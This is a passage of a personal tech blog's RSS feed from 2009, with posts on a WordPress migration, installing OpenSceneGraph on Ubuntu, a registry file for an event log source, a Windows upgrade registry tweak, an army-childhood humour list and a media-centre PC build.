&lt;p&gt;I also had to move hosting providers as the place where this blog was earliest hosted is a Microsoft only shop and they did not offer PHP and MySQL. So there might be a few things still breaking or missing. For example, I still need to figure out how to redirect the url from the old url (/weblog/amit) to the new one (/blog/amit). I think WordPress has a built in option and there is also a plug in available. Of course, there is also the .htaccess file which I can use. Let me know if you have any recommendations on which is the best way to go about this based on your experience?&lt;/p&gt;
&lt;p&gt;So far am quite pleased with WordPress and happy with the move. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Installing OpenSceneGraph on Ubuntu</title>
      <link>/post/2009/10/installing-openscenegraph-on-ubuntu/</link>
      <pubDate>Sun, 25 Oct 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/10/installing-openscenegraph-on-ubuntu/</guid>
      <description>&lt;p&gt;If you use the Synaptic Package Manager in Ubuntu 9.04 to install OpenSceneGraph, by default it will install version 2.4.x. However if you want to install OpenSceneGraph 2.8.1 then you need to do the following in a terminal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Modify the file &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; (make sure you run it via sudo something like: &lt;code&gt;sudo gedit /etc/apt/sources.list&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the following two lines in the end and save the file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;deb http://openscenegraph.dachary.org/packaging-farm/openscenegraph/gnulinux/debian/unstable/src ./&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;deb-src http://openscenegraph.dachary.org/packaging-farm/openscenegraph/gnulinux/debian/unstable/src ./ &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run in the terminal: &lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And finally run: &lt;code&gt;sudo apt-get install openscenegraph&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Time to ditch CS 2007 nearer?</title>
      <link>/post/2009/08/time-to-ditch-cs-2007-nearer/</link>
      <pubDate>Mon, 24 Aug 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/08/time-to-ditch-cs-2007-nearer/</guid>
      <description>&lt;p&gt;I have said it in the past about me &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/04/25/follow-me-on-twitter.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		moving away
	&lt;/span&gt;
&lt;/a&gt; from &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/03/03/what-blogging-engine-other-than-cs.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CS to WordPress
	&lt;/span&gt;
&lt;/a&gt;. I just stumbled across &lt;a
	
		href = &#34;http://blogs.popart.com/2009/07/convert-cs2007-to-wordpress/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post from Scott
	&lt;/span&gt;
&lt;/a&gt; who has done exactly the same thing. So maybe the time to ditch CS is coming near. I just need some free time to try this.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5305&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pure breed Fauji kid?</title>
      <link>/post/2009/08/pure-breed-fauji-kid/</link>
      <pubDate>Tue, 18 Aug 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/08/pure-breed-fauji-kid/</guid>
      <description>&lt;p&gt;Got this via &lt;a
	
		href = &#34;http://labs.daylife.com/journalist/megha_bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Megha
	&lt;/span&gt;
&lt;/a&gt; and it is absolutely brilliant – ah the memories it brings back. I first though of adding links for the “bloody civvies” who don’t get this – but changed my mind as it is not meant for them. :)&lt;/p&gt;
&lt;p&gt;You know you are a pure breed fauji kid if:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You were born in a Military Hospital.&lt;/li&gt;
&lt;li&gt;Half your toddler years were spent being looked after by Bhaiyas (no explanation here).&lt;/li&gt;
&lt;li&gt;You went to school either on Bhaiya&amp;rsquo;s cycle or in a Shaktiman.&lt;/li&gt;
&lt;li&gt;You know what a Shaktiman is. ( No! it isn’t the TV serial about half man and half machine starring AB lookalike).&lt;/li&gt;
&lt;li&gt;Jeeps and Jongas don&amp;rsquo;t excite you - they were your regular mode of transport!&lt;/li&gt;
&lt;li&gt;The only alternative to the Central School was the Army School.&lt;/li&gt;
&lt;li&gt;You always called Kendriya Vidyalaya Central School. Gosh even today that sounds better!&lt;/li&gt;
&lt;li&gt;Your entire family could survive in one room temporary quarters with 25 trunks, wooden crates, the dog, the bedroll and two bhaiyas flitting around.&lt;/li&gt;
&lt;li&gt;The smell of Brasso and shoe polish was regular staple.&lt;/li&gt;
&lt;li&gt;Mess was not what you created in your room, it was where you went every Friday for the free &amp;ldquo;English&amp;rdquo; movie.&lt;/li&gt;
&lt;li&gt;The &amp;ldquo;English Movie&amp;rdquo; was very often a western and you couldn&amp;rsquo;t follow a word! Sometimes you just went for the samosas and the local drink that they insisted was Cola.&lt;/li&gt;
&lt;li&gt;At the end of the month your dad had to pay for many pink slips showing how many samosas and local drinks that they insisted was Cola you had consumed. They never missed any!!!&lt;/li&gt;
&lt;li&gt;You attended many May Queen Balls before you knew what Miss India was.&lt;/li&gt;
&lt;li&gt;Your mother regularly got dressed, perfumed and dissappeared for the Ladies Club.&lt;/li&gt;
&lt;li&gt;You knew towns like Mhow, Wellington, Deolali and Bhuj.&lt;/li&gt;
&lt;li&gt;You weren&amp;rsquo;t a millionaire but hey you had Swimming, Horse Riding, Squash, Tennis and Golf!!&lt;/li&gt;
&lt;li&gt;You thought the main reason to have a Institute was to have a Holi Bash.&lt;/li&gt;
&lt;li&gt;You can still take one quick look at the epaulets and figure out the rank.&lt;/li&gt;
&lt;li&gt;You discussed Wednesday&amp;rsquo;s Chitrahaar in the Shaktiman.&lt;/li&gt;
&lt;li&gt;You can still recall the special &amp;amp; particular smell of the CSD canteen! A special prize for the correct concoction - mine is - it was a mix of Hamam Soap, Ponds Dreamflower Talc &amp;amp; Surf I think. In some corners it had overtures of Brooke Bond red Label as well.&lt;/li&gt;
&lt;li&gt;Your vacations were a package deal consisting of D-forms, Sharma Uncle Ka jonga and EME Mess ka kamra&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5303&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WHS and iPhone</title>
      <link>/post/2009/07/whs-and-iphone/</link>
      <pubDate>Mon, 13 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/07/whs-and-iphone/</guid>
      <description>&lt;p&gt;This of course is not new – just new to me. If you have an HP MediaSmart WHS (Windows Home Server) then you can stream music, photos and videos directly from your WHS to your iPhone – how sweet is that. &lt;a
	
		href = &#34;http://www.mediasmarthome.com/article/11974/HP-iStream-App-for-iPhone-Review-Bringing-the-2.5-Update-Mobile/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		More details here
	&lt;/span&gt;
&lt;/a&gt;. Maybe I should look at getting a HP one when my existing 8+ year old WHS dies (touch wood).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5302&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Geeky Your Momma Jokes</title>
      <link>/post/2009/07/geeky-your-momma-jokes/</link>
      <pubDate>Sun, 12 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/07/geeky-your-momma-jokes/</guid>
      <description>&lt;p&gt;If you have been &lt;a
	
		href = &#34;http://twitter.com/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		following me on Twitter
	&lt;/span&gt;
&lt;/a&gt;, you will see a few of the following few geeky your momma jokes.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your momma is so fat and stupid, her dress size is &lt;code&gt;int.MaxValue&lt;/code&gt; and her IQ is &lt;code&gt;int.MinValue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Your momma so fat, she has her own address space. (this is my favourite)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And of course &lt;a
	
		href = &#34;https://twitter.com/search?q=geekyourmommajokes&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		there are loads more
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My New Mobile</title>
      <link>/post/2009/06/my-new-mobile/</link>
      <pubDate>Sat, 20 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/06/my-new-mobile/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MyNewMobile_CF37/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5299&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Major Network Attack</title>
      <link>/post/2009/06/major-network-attack/</link>
      <pubDate>Wed, 17 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/06/major-network-attack/</guid>
      <description>&lt;p&gt;Wow! Looks like a lot of bots suddenly woke up – major attack in progress.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MajorNetworkAttack_1487A/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Moving my Study</title>
      <link>/post/2009/06/moving-my-study/</link>
      <pubDate>Mon, 15 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/06/moving-my-study/</guid>
      <description>&lt;p&gt;Well, not really – am not moving my study at home, but if I was this feels like that. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MovingmyStudy_B525/IMAGE_005.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/IMAGE_005_thumb.jpg&#34; alt=&#34;IMAGE_005&#34;/&gt;
        &lt;figcaption&gt;IMAGE_005&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MovingmyStudy_B525/IMAGE_007.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/IMAGE_007_thumb.jpg&#34; alt=&#34;IMAGE_007&#34;/&gt;
        &lt;figcaption&gt;IMAGE_007&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Image detection - how, what, where - any insights?</title>
      <link>/post/2009/06/image-detection-how-what-where-any-insights/</link>
      <pubDate>Tue, 02 Jun 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/06/image-detection-how-what-where-any-insights/</guid>
      <description>&lt;p&gt;I don’t have much experience with image detection in a video, and wanted to understand what options are possible – all I know it is not as simple as “CSI” makes it out to be – yet. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Here is the scenario:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Say I have a remote controlled aircraft (a mini helicopter) which among other things has a camera fitted which is filming over a certain area. I use a training set and somehow “train” the camera to look for certain objects and recognise data points of that object and learn it to recognize that object (for example a human in Pink). Now once this is trained, if the helicopter is over another area and recording I want it to be able to recognise these pre-trained images in that video feed and do something if something is found (e.g. a human in pink).&lt;/p&gt;
&lt;p&gt;The closest “CSI” analogy I can think of is – the facial recognition which they show to be iterating through hundreds of photos comparing data points (which of course as we all know this is mostly fiction – but that is a discussion point for another day).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So the question:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What does it take to compare objects in video feeds? I am not really interested in knowing how to “train” and find a pink human – but rather how to reliably and possibly quickly (within reason of course) compare and see if two are the same of the pattern. This should also reduce the false positives – e.g. a pink table might look like a human in pink with the environmental factors (shadows, sunlight, rain, angle of camera, etc.). I &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Image_recognition#Recognition&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		have
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Blob_detection&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		read a
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Video_tracking&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		little online
	&lt;/span&gt;
&lt;/a&gt; but don’t have any experience in the subject.&lt;/p&gt;
&lt;p&gt;Has anyone done this (or something similar) in the past or have any pointers for me? &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5295&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Creating an Event Source via a Reg File</title>
      <link>/post/2009/05/creating-an-event-source-via-a-reg-file/</link>
      <pubDate>Tue, 19 May 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/05/creating-an-event-source-via-a-reg-file/</guid>
      <description>&lt;p&gt;If you ever tried to write to the event log, without an event source for that application created you will get an exception saying something along the lines of that you do not have permissions to create the event source.&lt;/p&gt;
&lt;p&gt;If an event source does not exist, it is automatically created. The creation of the event source is a privileged operation and requires elevated privileges (a.k.a admin privileges) which of course might not always be possible if running a web application.&lt;/p&gt;
&lt;p&gt;The easiest way to create this event source is via a reg file. An example is below (credit goes to my colleague Dominic to provide me the original sample).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; you need all the lines below including the “Windows Registry Editor Version 5.00”.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;9&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Windows Registry Editor Version 5.00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;\[HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Eventlog\\Application\\YOUR-APPLICATION-NAME-GOES-HERE\]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;EventMessageFile&amp;#34;=hex(2):43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  00,53,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,66,00,74,00,2e,00,\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  4e,00,45,00,54,00,5c,00,46,00,72,00,61,00,6d,00,65,00,77,00,6f,00,72,00,6b,\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  00,5c,00,76,00,32,00,2e,00,30,00,2e,00,35,00,30,00,37,00,32,00,37,00,5c,00,\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  45,00,76,00,65,00,6e,00,74,00,4c,00,6f,00,67,00,4d,00,65,00,73,00,73,00,61,\\
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  00,67,00,65,00,73,00,2e,00,64,00,6c,00,6c,00,00,00&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Upgrading Enterprise Edition to Ultimate (Vista or Win7)</title>
      <link>/post/2009/05/upgrading-enterprise-edition-to-ultimate-vista-or-win7/</link>
      <pubDate>Mon, 18 May 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/05/upgrading-enterprise-edition-to-ultimate-vista-or-win7/</guid>
      <description>&lt;p&gt;If you are ever in a situation where you want to upgrade say from Vista Enterprise edition to Win 7 Ultimate edition - by default you cannot do this. When you insert your Win7 disc you won’t find the upgrade option available and the only way you see forward is to do a complete fresh install (after backing up your data of course). However, that is very time consuming and of course generally a lot of pain.&lt;/p&gt;
&lt;p&gt;So here is a tip to get you to upgrade without doing a complete fresh install where you “fool” the installer in thinking you have a different version to allow you to upgrade.&lt;/p&gt;
&lt;p&gt;You need to do the following steps, &lt;strong&gt;before&lt;/strong&gt; inserting the Windows DVD&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to, Start, Run: and type: regedit.exe&lt;/li&gt;
&lt;li&gt;Go to &lt;code&gt;HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Change the key: ProductName from &amp;ldquo;Windows 7  Enterprise” to “Windows 7 Business” or to “Windows 7 Ultimate”&lt;/li&gt;
&lt;li&gt;Change the key: EditionID from &amp;ldquo;Enterprise&amp;rdquo; to “Business” or to “Ultimate”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not restart!&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now insert Windows DVD and start upgrading (the option Upgrade will not be graded out anymore)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course you will need the appropriate licences and still need to activate, etc.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5293&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New MCE</title>
      <link>/post/2009/05/new-mce/</link>
      <pubDate>Tue, 05 May 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/05/new-mce/</guid>
      <description>&lt;p&gt;I build my &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2005/06/27/my-media-center-configuration/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		first MCE a few years ago
	&lt;/span&gt;
&lt;/a&gt; and since then not looked back – despite a few of &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2005/09/12/how-to-screw-up-your-mce/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my screw ups
	&lt;/span&gt;
&lt;/a&gt;. In our household the MCE is used a lot and it really has changed the way we watch TV. One starts taking things for granted such as the ability pause live TV or rewind when you did not quite catch the last dialogue. And this was brought more in focus when during the transition from the old MCE to the new MCE (more on that in a second).&lt;/p&gt;
&lt;p&gt;I decided to build another MCE– mainly as the old MCE had started dying. It was not dead (yet), but had started to hobble towards its grave. There were a few things which were bugging, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every few minutes the display card would stop for a second or two and then start working on its own – and the frequency of this occurrence was slowly increasing.&lt;/li&gt;
&lt;li&gt;I already had changed the memory once as it got corrupt. Also this was only 1 GB and Vista was quite slow.&lt;/li&gt;
&lt;li&gt;Disk space while not an issue was something to keep an eye on.&lt;/li&gt;
&lt;li&gt;Channels were not being changed reliably – which meant you had to remember to change the channel to whatever before say going to bed at night so it can can record that program, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I wanted to buy a MCE instead of building it and had my eye on the &lt;a
	
		href = &#34;http://vaio.sony.co.uk/view/ShowProductCategory.action?site=voe_en_GB_cons&amp;amp;category=VD&amp;#43;TP&amp;#43;Series&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Sony TP Series
	&lt;/span&gt;
&lt;/a&gt; – which in my opinion is a beauty. Unfortunately, the sales guys were not sure if this can be used with Sky (that’s Satellite TV for those not familiar). I did not want to buy it and then if it did not work get in the whole hassle of returning it.&lt;/p&gt;
&lt;p&gt;So I decide to build one again. Looks were important as this sits in the living room and cannot look like a “computer”. Also efficiency and noise both were important. Wanted this to be green and quite.&lt;/p&gt;
&lt;p&gt;Here is the config of the new MCE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Case: &lt;a
	
		href = &#34;http://moneual.cafe24.com/english/sub02/sub4.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Moneual 932 case
	&lt;/span&gt;
&lt;/a&gt; which has a 7 inch LCD Touch Screen built in.&lt;/li&gt;
&lt;li&gt;Power Supply: &lt;a
	
		href = &#34;http://www.quietpc.com/gb-en-gbp/products/powersupplies/zmx00-hp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zalman Z500
	&lt;/span&gt;
&lt;/a&gt; Heat Pipe cooled PSU&lt;/li&gt;
&lt;li&gt;Motherboard: &lt;a
	
		href = &#34;http://www.gigabyte.com.tw/Products/Motherboard/Products_Overview.aspx?ProductID=2877&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Gigabyte GA-EG45M-DS2H
	&lt;/span&gt;
&lt;/a&gt; iG45 Socket 775 with Onboard VGA 8 channel audio mATX. I wanted a G45 chipset mobo which could do HDTV and had a fanless northbridge.&lt;/li&gt;
&lt;li&gt;CPU: &lt;a
	
		href = &#34;http://www.ebuyer.com/product/148933&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Intel Core 2 Quad Q8200
	&lt;/span&gt;
&lt;/a&gt; 2.33 Ghz&lt;/li&gt;
&lt;li&gt;RAM: &lt;a
	
		href = &#34;http://www.ebuyer.com/product/130429&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Corsair 4GB Kit (2x2GB) DDR2 800MHz/PC2-6400
	&lt;/span&gt;
&lt;/a&gt; XMS2 Memory Kit CL5 1.9V&lt;/li&gt;
&lt;li&gt;HDD: &lt;a
	
		href = &#34;http://www.ebuyer.com/product/150245&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		2 x Western Digital 1TB Hard Drive SATAII 7200rpm 32MB Cache - OEM Green Power
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;DVD Drive – I had originally gone for a BluRay drive, but because of the layout of motherboard in the case, could not get that to fit (more on that another time) so used an existing DVD drive I had. I don’t have HDTV, so not having BluRay drive is not a deal breaker in any case.&lt;/li&gt;
&lt;li&gt;Graphics Card: &lt;a
	
		href = &#34;http://www.ebuyer.com/product/147560&#34;
	

	

	
		target = &#34;_blank&#34;
